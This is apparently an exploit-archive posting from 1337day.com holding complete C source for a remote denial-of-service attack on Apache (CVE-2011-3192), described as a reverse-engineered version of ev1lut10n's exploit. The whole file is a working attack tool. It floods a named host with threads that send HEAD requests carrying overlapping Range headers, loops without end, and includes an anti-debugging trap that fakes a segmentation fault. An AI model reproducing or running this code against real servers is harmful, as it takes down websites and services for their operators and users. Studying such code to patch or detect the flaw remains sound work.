Remote Apache Denial of Service

[Spyn3t]

/*
 * This is a reverse engineered version of the exploit for CVE-2011-3192 made
 * by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz).
 * Copyright 2011 Ramon de C Valle <[email protected]>
 *
 * Compile with the following command:
 * gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
 
void ptrace_trap(void) __attribute__ ((constructor));
 
void
ptrace_trap(void) {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
	   write(fileno(stdout), "Segmentation fault\n", 19);
	   exit(-1);
    }
}
 
void
w4rn41dun14mu(int attr, int fg, int bg)
{
    char command[13];
 
    sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40);
    printf("%s", command);
}
 
void
banner()
{
    w4rn41dun14mu(0, 1, 0);
    fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1,
		 stdout);
}
 
void
gime_er_mas()
{
    printf("%c%s", 0x1b, "[2J");
    printf("%c%s", 0x1b, "[1;1H");
    puts("\nsorry dude there's an error...");
}
 
struct thread_info {
    pthread_t thread_id;
    int	  thread_num;
    char	*argv_string;
};
 
static void *
thread_start(void *arg)
{
    struct thread_info *tinfo = (struct thread_info *) arg;
    char hostname[64];
    int j;
 
    strcpy(hostname, tinfo->argv_string);
 
    j = 0;
    while (j != 10) {
	   struct addrinfo hints;
	   struct addrinfo *result, *rp;
	   int sfd, s;
	   ssize_t nwritten;
 
	   memset(&hints, 0, sizeof(struct addrinfo));
	   hints.ai_family = AF_UNSPEC;
	   hints.ai_socktype = SOCK_STREAM;
	   hints.ai_flags = 0;
	   hints.ai_protocol = 0;
 
	   s = getaddrinfo(hostname, "http", &hints, &result);
	   if (s != 0) {
		  fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
		  exit(EXIT_FAILURE);
	   }
 
	   for (rp = result; rp != NULL; rp = rp->ai_next) {
		  sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
		  if (sfd == -1)
			 continue;
 
		  if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
			 close(sfd);
	   }
 
	   if (result != NULL)
		  freeaddrinfo(result);
 
	   nwritten = write(sfd, "HEAD / HTTP/1.1\n"
						"Host:localhost\n"
						"Range:bytes=0-,0-\n"
						"Accept-Encoding: gzip", 71);
	   if (nwritten == -1)
		  close(sfd);
 
	   usleep(300000);
 
	   j++;
    }
 
    return 0;
}
 
int
main(int argc, char *argv[])
{
    int i;
    struct thread_info tinfo;
 
    banner();
 
    if (argc <= 1) {
	   w4rn41dun14mu(0, 2, 0);
	   fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout);
	   return 0;
    }
 
    w4rn41dun14mu(0, 3, 0);
    printf("[+] Attacking %s please wait  in minutes ...\n", argv[1]);
 
    while (1) {
	   i = 0;
	   while (i != 50) {
		  tinfo.thread_num = i;
		  tinfo.argv_string = argv[1];
 
		  pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo);
 
		  usleep(500000);
 
		  i++;
	   }
    }
}


# 1337day.com [2011-12-09]